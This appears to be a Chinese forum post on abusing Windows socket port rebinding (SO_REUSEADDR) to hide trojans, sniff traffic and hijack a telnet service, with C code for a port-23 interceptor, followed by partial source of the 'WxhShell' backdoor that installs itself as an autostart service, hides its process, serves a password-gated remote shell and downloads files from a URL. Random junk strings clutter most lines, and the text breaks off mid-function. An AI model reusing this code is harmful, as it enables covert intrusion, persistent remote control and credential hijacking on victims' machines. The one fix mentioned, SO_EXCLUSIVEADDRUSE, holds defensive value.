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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 38 Q>x  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); x4&<Vr  
FOAy'76p  
  saddr.sin_family = AF_INET; VfK8')IXk  
DeTx7i0  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); biy1!r  
$n30[P@p;  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 3_:J`xX(4  
/T53"+7:0  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 {=5Wi|  
e_Ue9c.}  
  这意味着什么?意味着可以进行如下的攻击: 8cV3VapF  
Flrpk`4  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 H B}!Lf#*P  
\J>a*  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) dX4"o?KD>  
2E Ufd\   
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 8Z{e/wnVF  
uTgvMkO  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  n2NxO0  
K'6dlwn).  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 "enGWI H  
}IM*Vsk  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \t6k(5J  
tnv @`xBn  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 9ZbT41  
x]~{#pH@<  
  #include IUt/V^  
  #include R/&Ev$:  
  #include ]!JUiFj"uD  
  #include    s  bl> i  
  DWORD WINAPI ClientThread(LPVOID lpParam);   B:-qUuS?R  
  int main() T}%8Vlt]  
  { +HGPn0As  
  WORD wVersionRequested; lV4|(NQ9  
  DWORD ret; `Ap<xT0H  
  WSADATA wsaData; MN wMF  
  BOOL val; {tq.c9+!d  
  SOCKADDR_IN saddr; bqmb|mD  
  SOCKADDR_IN scaddr; 8|5ttdZ  
  int err; s4RqY*VK  
  SOCKET s; ]kXiT Yg  
  SOCKET sc; rHzwSR@}1  
  int caddsize; &!|'EW  
  HANDLE mt; P4&3jQ[o  
  DWORD tid;   z}'-gv\,  
  wVersionRequested = MAKEWORD( 2, 2 ); {h< V^r  
  err = WSAStartup( wVersionRequested, &wsaData ); R^DZ@[\iV  
  if ( err != 0 ) { `eD70h`XK  
  printf("error!WSAStartup failed!\n"); T d E.e(  
  return -1; 0X.(BRI~6p  
  } e XB'>#&s  
  saddr.sin_family = AF_INET; LHQ$0LVt>T  
   !'y9/  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 2pKkg>/S  
:gD=F&V  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); U3R;'80 f  
  saddr.sin_port = htons(23); MLbmz\8a  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5G >{*K/  
  { yK1@`3@?  
  printf("error!socket failed!\n"); k0@b"y*  
  return -1; p\A!"KC  
  } b0QC91   
  val = TRUE; PV[ Bqt  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 xL-]gwq  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) JDp"!x{O  
  { {5%u G2g  
  printf("error!setsockopt failed!\n"); 8dgi"/[3  
  return -1; :eL{&&6  
  } V7+fNr]I  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Rm^3K   
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 uq.!{3)8  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ~pv|  
Y (a0*fh  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) MBeubS  
  { Wu}84W"!.V  
  ret=GetLastError(); 16J" QUuG  
  printf("error!bind failed!\n"); 'AU:[eyUV  
  return -1; %5?Zjp+9  
  } "s$$M\)T  
  listen(s,2); thT2U8%T  
  while(1) 8h,>f#)0c  
  { DW@|H  
  caddsize = sizeof(scaddr); r |H 1Yy  
  //接受连接请求  ;rH<  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); DG%vEM,y  
  if(sc!=INVALID_SOCKET) v(|Arm?  
  { `>i8$q%  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); YadG05PDe  
  if(mt==NULL) 50< QF  
  { QPc4bg\J~t  
  printf("Thread Creat Failed!\n"); ZOAHM1ci  
  break; e-Pn,j  
  } <"GgqyRzv  
  } WQJnWe   
  CloseHandle(mt); < 5 ?  
  } G\X}gqe(OJ  
  closesocket(s); (uW$ch@2K  
  WSACleanup(); q(Q$lRj/I-  
  return 0; ?RP&XrD  
  }   UrMEL; @g  
  DWORD WINAPI ClientThread(LPVOID lpParam) n+'gVEBA  
  { Em<B 9S  
  SOCKET ss = (SOCKET)lpParam; |~+i=y  
  SOCKET sc; Oq`CKf  
  unsigned char buf[4096]; [3@Pu.-I+M  
  SOCKADDR_IN saddr; eYpK!9  
  long num; 43'!<[?x  
  DWORD val; ro %Jg  
  DWORD ret; _~QiQDq  
  //如果是隐藏端口应用的话,可以在此处加一些判断 8q}955Nl  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   4X}.aZO&b  
  saddr.sin_family = AF_INET; =._V$:a6o  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ~W>3EJghR,  
  saddr.sin_port = htons(23); M:PEY*4H  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) HQy:,_f@  
  { cF2!By3M  
  printf("error!socket failed!\n"); ++gWyzD  
  return -1; 762c`aP_(  
  } _ SuW86  
  val = 100; TJO?BX_9  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `K%f"by  
  { a'Vz|S G  
  ret = GetLastError(); ?LwBF;Y  
  return -1; H(QbH)S$6  
  } K Y=$RO  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^b;3Jj  
  { PxvD0GTW  
  ret = GetLastError(); >WcOY7  
  return -1; p.ks jD  
  } X-_ $jKfM  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) wni^qs.i@3  
  { +lhjz*0  
  printf("error!socket connect failed!\n"); +~7x+6E  
  closesocket(sc); +I <^w)  
  closesocket(ss); ?niv}/'%O  
  return -1; ns&3Dh(IVP  
  } )` ^/Dj;  
  while(1) S^q%+Z  
  { 75"&"*R/*G  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 >53Hqzm&  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ;"9$LHH*  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 /a .XWfu  
  num = recv(ss,buf,4096,0); v;WfcpWq2  
  if(num>0) {hH8+4c7  
  send(sc,buf,num,0); H "; !A=0  
  else if(num==0) 8 U<$u,WS  
  break; \dHdL\f  
  num = recv(sc,buf,4096,0); HOr.(gL!  
  if(num>0) =mp"=%  
  send(ss,buf,num,0); EJid@  
  else if(num==0) ?^by3\,VZ  
  break; v[b|J7k  
  } O' ~>AC5{  
  closesocket(ss); Oj F]K,$  
  closesocket(sc); n w  
  return 0 ; KKRj#m(:!  
  } 7%sx["%@  
s}93nv*ez  
O4g2s8k  
========================================================== \hO}3;*&  
c$n`=NI  
下边附上一个代码,,WXhSHELL .5E6 MF  
+v)+ k  
========================================================== ']:>Ww.S  
bCg)PJuB  
#include "stdafx.h" rUW/d3y  
IQ $/|b/  
#include <stdio.h> }? :T*CJ  
#include <string.h> qCI0[U@  
#include <windows.h> #ULzh&yO  
#include <winsock2.h> b(Nxk2uv  
#include <winsvc.h> 1Xkl.FcFw  
#include <urlmon.h> g/W&Ap;qVL  
Da)H/3ii  
#pragma comment (lib, "Ws2_32.lib") Ge=|RAw3  
#pragma comment (lib, "urlmon.lib") \!Wph5wA  
jV.9d@EC  
#define MAX_USER   100 // 最大客户端连接数 ~j36(`t  
#define BUF_SOCK   200 // sock buffer S rom@c  
#define KEY_BUFF   255 // 输入 buffer \B Uno6  
,R7RXpP7t  
#define REBOOT     0   // 重启 l,k.Jo5  
#define SHUTDOWN   1   // 关机 aE2Yl  
M!b-;{;'  
#define DEF_PORT   5000 // 监听端口 W5(.Hub}  
m0,TH[HWGF  
#define REG_LEN     16   // 注册表键长度 5`FPv4   
#define SVC_LEN     80   // NT服务名长度 A2%RcKY7  
p7p6~;P  
// 从dll定义API u):Nq<X  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); FfM,~s<Efz  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); v@1f,d  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {wp tOZ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); BMH?BRi  
c{{RP6o/j=  
// wxhshell配置信息 [<JY[o=  
struct WSCFG { fD#!0^  
  int ws_port;         // 监听端口 lbj_ if;  
  char ws_passstr[REG_LEN]; // 口令 303x|y  
  int ws_autoins;       // 安装标记, 1=yes 0=no wqF_hs(O  
  char ws_regname[REG_LEN]; // 注册表键名 ~0YRWM;  
  char ws_svcname[REG_LEN]; // 服务名 `OHdo$Y9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  'EO"0,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2&0#'Tb  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  +wE>h>?;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no l:14uWu|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ZJ%iiY  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0I}c|V'P  
(L,>P`CR6  
}; [u;>b?[{  
] ?k\ qS  
// default Wxhshell configuration T1A/>\Ns  
struct WSCFG wscfg={DEF_PORT, )P#xny2  
    "xuhuanlingzhe", t]XF*fZH  
    1, 8S@"6TG`  
    "Wxhshell", )E}eK-Yu  
    "Wxhshell", blmY=/]  
            "WxhShell Service", VX'G\Zz@h|  
    "Wrsky Windows CmdShell Service", yUX<W'-Hev  
    "Please Input Your Password: ", >8EmfjUoc  
  1, ;edt["Eu  
  "http://www.wrsky.com/wxhshell.exe", 8.tp#x,A  
  "Wxhshell.exe" L[. )!c8k  
    }; psAr>:\3  
_YA;Nd#%k  
// 消息定义模块 >_u5"&q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  <xwaFZ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +|.6xC7U  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; a9p6[qOcd  
char *msg_ws_ext="\n\rExit."; l*|m(7s  
char *msg_ws_end="\n\rQuit."; POb2U1Sj  
char *msg_ws_boot="\n\rReboot..."; >]/aG!  
char *msg_ws_poff="\n\rShutdown..."; tREC)+*\  
char *msg_ws_down="\n\rSave to "; S!g0J}.z  
f"d4HZD^  
char *msg_ws_err="\n\rErr!"; L r9z~T:ED  
char *msg_ws_ok="\n\rOK!"; :pGgxO%q  
|K'7BK_^J  
char ExeFile[MAX_PATH]; I7{ Q\C4  
int nUser = 0; S,GM!YZg  
HANDLE handles[MAX_USER]; N3|aNQ=X0  
int OsIsNt; X~rHNRIU  
)WbE -m  
SERVICE_STATUS       serviceStatus; otJHcGv  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1zIrU6H2;_  
P+(Ys[J3  
// 函数声明 FfibR\dhY  
int Install(void); I#:,!vjn  
int Uninstall(void); &h?8yV4B  
int DownloadFile(char *sURL, SOCKET wsh); Dlx-mm_  
int Boot(int flag); ^e:rRk7 &  
void HideProc(void); M%N_4j.  
int GetOsVer(void); "/zDcZbL;  
int Wxhshell(SOCKET wsl); Kc {~Q  
void TalkWithClient(void *cs); )B5(V5-!|  
int CmdShell(SOCKET sock); ; d :i  
int StartFromService(void); 7=@Mn F`  
int StartWxhshell(LPSTR lpCmdLine); +KHk`2{y~  
Ov|Uux  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); m.>y(TI  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7w5 L?,a  
8@BN6  
// 数据结构和表定义 6a*OQ{8  
SERVICE_TABLE_ENTRY DispatchTable[] = G/?j$T  
{ =d1i<iw?-  
{wscfg.ws_svcname, NTServiceMain},  4d )Q  
{NULL, NULL} C:P.+AU"`  
}; V1\x.0Fs  
W*Ce1  
// 自我安装 ZsL-vlv  
int Install(void) Q=.j>aM+_  
{ -LMO f?  
  char svExeFile[MAX_PATH]; ]tO9<  
  HKEY key; G FO(O  
  strcpy(svExeFile,ExeFile);  #)28ESj  
0?\d%J!"S  
// 如果是win9x系统,修改注册表设为自启动 4e9'yi  
if(!OsIsNt) { !_LRuqQ?"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D(^ |'1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vV /fTO  
  RegCloseKey(key); `yWWX.`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^*+-0b;[G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .="[In '  
  RegCloseKey(key); w\Bx=a>vc  
  return 0; 4P$#m<;t  
    } XjV,wsZ=  
  } #>(h!lT_  
} GeCyq%dN  
else { Zmr*$,v<y  
sp&)1?!M  
// 如果是NT以上系统,安装为系统服务 bx%P-r31  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .LEn~ 8  
if (schSCManager!=0) {-kV~p  
{ 3&vUR(10  
  SC_HANDLE schService = CreateService 9lCZ i?  
  ( 1 Ll<^P  
  schSCManager, ` B71`  
  wscfg.ws_svcname, I\oI"\}U  
  wscfg.ws_svcdisp, % .n 7+  
  SERVICE_ALL_ACCESS, F/zbb  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <aEY=IF4  
  SERVICE_AUTO_START, pm~uWXqxr=  
  SERVICE_ERROR_NORMAL, Tq=OYJq5U  
  svExeFile, .~fAcc{Qj  
  NULL, VS_xC $X!S  
  NULL, R'{BkC}.  
  NULL, hu''"/raM  
  NULL, 7K}Sk  
  NULL )a'c_ 2[  
  ); z4[S02s  
  if (schService!=0) %$.]g  
  { ~LuR)T=%es  
  CloseServiceHandle(schService); KgMW  
  CloseServiceHandle(schSCManager); Xv1mjHZCC  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (>gAnebN L  
  strcat(svExeFile,wscfg.ws_svcname); PgF7ug%,@C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1%,AU  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); SUQk0 (M  
  RegCloseKey(key); ??.9`3CYo  
  return 0; :D!}jN/)  
    } tlz)V1L  
  } v3{[rK}  
  CloseServiceHandle(schSCManager); h(VF  
} p 6FPdt)  
} W2\ Q-4D  
TWFi.w4pY  
return 1; ^@0-E@ {c  
} Sx%vJYH0  
Sxw%6Va]p  
// 自我卸载 :6Oh?y@  
int Uninstall(void) " O,TL *$  
{ Q\4nduQ  
  HKEY key; NiTLQ"~e  
(`pd>  
if(!OsIsNt) { I%<,JRAV  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L_WVTz?`  
  RegDeleteValue(key,wscfg.ws_regname); G[=8Ko0U+n  
  RegCloseKey(key); {_i.IPp~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |p7k2wzN  
  RegDeleteValue(key,wscfg.ws_regname); ;+/[<bvd"  
  RegCloseKey(key); ,awp)@VG7  
  return 0; CH/*MA  
  } <M4Qc12jP  
} ZHku3)V=o  
} `]xot8  
else { v<qiu>sbz}  
xRx8E;Q@h?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  EL[N%M3  
if (schSCManager!=0) 9 O/l{  
{ M;i4ss,}!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); DlXthRM  
  if (schService!=0) :U7m@3czU  
  { P_f>a?OL:  
  if(DeleteService(schService)!=0) { 5wws8w  
  CloseServiceHandle(schService); #n_uELE  
  CloseServiceHandle(schSCManager);  `xpU  
  return 0; n xc35  
  } ^Q\O8f[u  
  CloseServiceHandle(schService); "?~u*5  
  } :RnFRAcr  
  CloseServiceHandle(schSCManager); *8*E\nZx!  
} r ]cC4%in  
} %hu] =  
LBlaDw  
return 1; mf>cv2+  
} > CPJp!u  
L8FLHT+R-  
// 从指定url下载文件 Ih!D6  
int DownloadFile(char *sURL, SOCKET wsh) "c  S?t  
{ %7$oig\wE  
  HRESULT hr; DNy1} 3wg  
char seps[]= "/"; ?kvkdHEO_  
char *token; u$ZahN!  
char *file; 2_4m}T3   
char myURL[MAX_PATH]; 9x~qcH%  
char myFILE[MAX_PATH]; u/% 4WgA  
]qJ6#sAw75  
strcpy(myURL,sURL); ]c8O"4n n  
  token=strtok(myURL,seps); Ti@X< C  
  while(token!=NULL) {bUd"Tu  
  { [We(0wF[`  
    file=token; kS$HIOt823  
  token=strtok(NULL,seps); *WQ}ucE^#  
  } :z EhPx;B7  
;rj=hc  
GetCurrentDirectory(MAX_PATH,myFILE); 90pk  
strcat(myFILE, "\\"); z5CWgN  
strcat(myFILE, file); q?=eD^]  
  send(wsh,myFILE,strlen(myFILE),0); 4K@`>Y5g*  
send(wsh,"...",3,0); o.}?K>5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); S|8O$9{x9q  
  if(hr==S_OK) q >9F21W  
return 0; [p +h b  
else XMM@EN  
return 1; jF'azlT  
{GS7J  
} `NC{+A  
hwmpiyu   
// 系统电源模块 4g#pQ  
int Boot(int flag) oy-Qy  
{ h<wF;g,  
  HANDLE hToken; XB &-k<C  
  TOKEN_PRIVILEGES tkp; uW&P1 'X  
VK+#!!Ha  
  if(OsIsNt) { 9's/~T  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >Hr0ScmN@"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (YjY=F  
    tkp.PrivilegeCount = 1; Uv6#d":f;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; W`C&$v#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); a$c7d~p$I  
if(flag==REBOOT) { ^ ,Bxq^'D  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &/7AW(?  
  return 0; "jVMk  
} ba?]eK   
else { 13]sZ([B%|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) vXnTPjbE  
  return 0; ;X u&['  
} )T6+}   
  } ,/\%-u? 1x  
  else { |5}{4k~9J  
if(flag==REBOOT) { a4 g~'^uC  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0;Y_@UVj  
  return 0; f8E S GU  
} uOEFb  
else { ;APpgt4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 46'EZ@#s  
  return 0; Ed|7E_v  
} 'M\ou}P  
} xA nAW  
%S22[;v{N  
return 1; G! uQ|<(  
} G}<q  
%Gn(b 1X  
// win9x进程隐藏模块 35yhe:$nf  
void HideProc(void) AZ5c^c)  
{ #Dx$KPD  
bwo"s[w  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); O'deQq[  
  if ( hKernel != NULL ) :L9\`&}FS  
  { (jkjj7a  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {M]m cRB(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); l\5}\9yS  
    FreeLibrary(hKernel); 5I{YsM  
  } 0Bn$C, -  
MB\vgKY  
return; nX>k}&^L  
} o([+Pp  
s&vOwPmV  
// 获取操作系统版本 hHoc7  
int GetOsVer(void) #]I:}Q51  
{ L[+65ce%*  
  OSVERSIONINFO winfo; oZ%t!Fl1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); rQK2&37-,@  
  GetVersionEx(&winfo); tiwhG%?2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Y( /VW&K&:  
  return 1; (~{7e/)r  
  else qO>BF/)a(  
  return 0; 2:i`,  
} *D]/V U  
kaUH#;c>_  
// 客户端句柄模块 4 !~JNO  
int Wxhshell(SOCKET wsl) ;4XX8W1  
{ &&[j/d}J  
  SOCKET wsh; q{c6DCc]\  
  struct sockaddr_in client; \VPU)  
  DWORD myID; +(r8SnRX  
jKQnox+=  
  while(nUser<MAX_USER) T:wd3^.CG  
{ eUqsvF}l!  
  int nSize=sizeof(client); &cDnZ3Q;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); pz?.(AmU\  
  if(wsh==INVALID_SOCKET) return 1; sJ?Fque  
<H)h+?&~d  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,[+gE\z{{u  
if(handles[nUser]==0) vC\]7]mC  
  closesocket(wsh); _}`iLA!$I  
else y{K~g<VL  
  nUser++; ? {cF'RB.  
  } !e.@Xk.P6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j/wNPB/NM  
nb22b Xt  
  return 0; n7X3aoVV  
} ?mRU9VY  
J_U1eSz<j  
// 关闭 socket Cb.~Dv !  
void CloseIt(SOCKET wsh) y"!+Fus9  
{ V}7I? G  
closesocket(wsh); ngEjbCV+  
nUser--; \8Fe56  
ExitThread(0); sh}=#eb  
} kY xn5+~  
Vjj30f  
// 客户端请求句柄 62%. ddM4  
void TalkWithClient(void *cs) 6E@r9U  
{ s qac>v  
&^qD<eZ!Eq  
  SOCKET wsh=(SOCKET)cs; #)=P/N1  
  char pwd[SVC_LEN]; lGjmw"/C  
  char cmd[KEY_BUFF]; kHX- AsRc  
char chr[1]; qN+ngk,:  
int i,j; 33[2$FBf  
wvJm)Mj+  
  while (nUser < MAX_USER) { O,9KhX+  
b V;R}3)  
if(wscfg.ws_passstr) { OMO.-p  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u Dm=W36  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &bs/a] ?Z7  
  //ZeroMemory(pwd,KEY_BUFF); ?K I_>{  
      i=0; 6/s#'#jh  
  while(i<SVC_LEN) { R S;r  
.\{GU9|nO  
  // 设置超时 hXbb+j  
  fd_set FdRead; N$>g)Ml?  
  struct timeval TimeOut; q+e'=0BHd:  
  FD_ZERO(&FdRead); R(r89bTQ  
  FD_SET(wsh,&FdRead); bNY_V;7Kw`  
  TimeOut.tv_sec=8;  ~;il{ym  
  TimeOut.tv_usec=0; cL<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); lkFv5^%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1/6G&RB  
vy1:>N?#5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JL`n12$m  
  pwd=chr[0]; *8,]fBUq  
  if(chr[0]==0xd || chr[0]==0xa) { Z!~~6Sq  
  pwd=0; CdatN$/*  
  break; &'c1"%*%8>  
  } >UZfi u  
  i++; /V2 ^/`&;a  
    } z~L(kf4  
VCNg`6!x  
  // 如果是非法用户,关闭 socket L!c7$M5xJ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b!5W!vcK  
} 5Ee%!Pk  
\@GA;~x.b  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :=T+sT~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @lDoMm,m'  
,~JxYh  
while(1) { g"hm"m}i  
a%7%N N*i  
  ZeroMemory(cmd,KEY_BUFF); jzdK''CHi  
3iR;(l}  
      // 自动支持客户端 telnet标准   \;.\g6zX  
  j=0; +P6q wh\v  
  while(j<KEY_BUFF) { yWsN G;>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P< O[S  
  cmd[j]=chr[0]; o.k eM4OQ  
  if(chr[0]==0xa || chr[0]==0xd) { +/-#yfn!TR  
  cmd[j]=0; LylB3BM  
  break; 2"c $#N  
  } a~9U{)@F  
  j++; hcWkAR  
    } I|n<B"Q6^  
@i$9c)D  
  // 下载文件 =UM30 P/  
  if(strstr(cmd,"http://")) { 2}/Z.)^Q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 'n#;~  
  if(DownloadFile(cmd,wsh)) uqXvN'Jr  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); b{b2L.  
  else O!\P]W4r$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 25::z9i  
  } tl (2=\  
  else { KArR.o }  
_K_!(]t  
    switch(cmd[0]) { tUDOL-Tv  
  K;sH0*  
  // 帮助 fJH09:@^%  
  case '?': { ltO:./6v  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0V1)ou84'  
    break; xw&[ 9}Y  
  } [YpSmEn}Y  
  // 安装 ?76Wg::  
  case 'i': { 0 gL]^_+7  
    if(Install()) x$[<<@F%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h*Rh:yCR>  
    else *}-X '_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I_6?Q^_uZ  
    break; <_dyUiT$J  
    } `kpX}cKK}  
  // 卸载 X2}\i5{  
  case 'r': { hJ (Q^Z  
    if(Uninstall()) 1j`-lD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q&opnvN  
    else _*>bf G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +\fr3@Yc  
    break; E5~HH($b  
    } t>)iC)^u  
  // 显示 wxhshell 所在路径 C\ZL*,%}  
  case 'p': { Vl%AN;o  
    char svExeFile[MAX_PATH]; m.iCGX  
    strcpy(svExeFile,"\n\r"); rr>QG<i;G  
      strcat(svExeFile,ExeFile); X};m\Bz  
        send(wsh,svExeFile,strlen(svExeFile),0); r/$+'~apTk  
    break; c*-8h{}  
    } pEuZsQ  
  // 重启 D^baXp8  
  case 'b': { Hzcy '  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2E33m*C2  
    if(Boot(REBOOT)) ug'I:#@2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GbFLu`Iu  
    else { : ^F+m QN  
    closesocket(wsh); 5x(`z   
    ExitThread(0); AjKP -[  
    } J;W(}"cFq  
    break; ?l! L )!2  
    } ig4wwd@|  
  // 关机 %0fF_OU  
  case 'd': { r Lg(J|^  
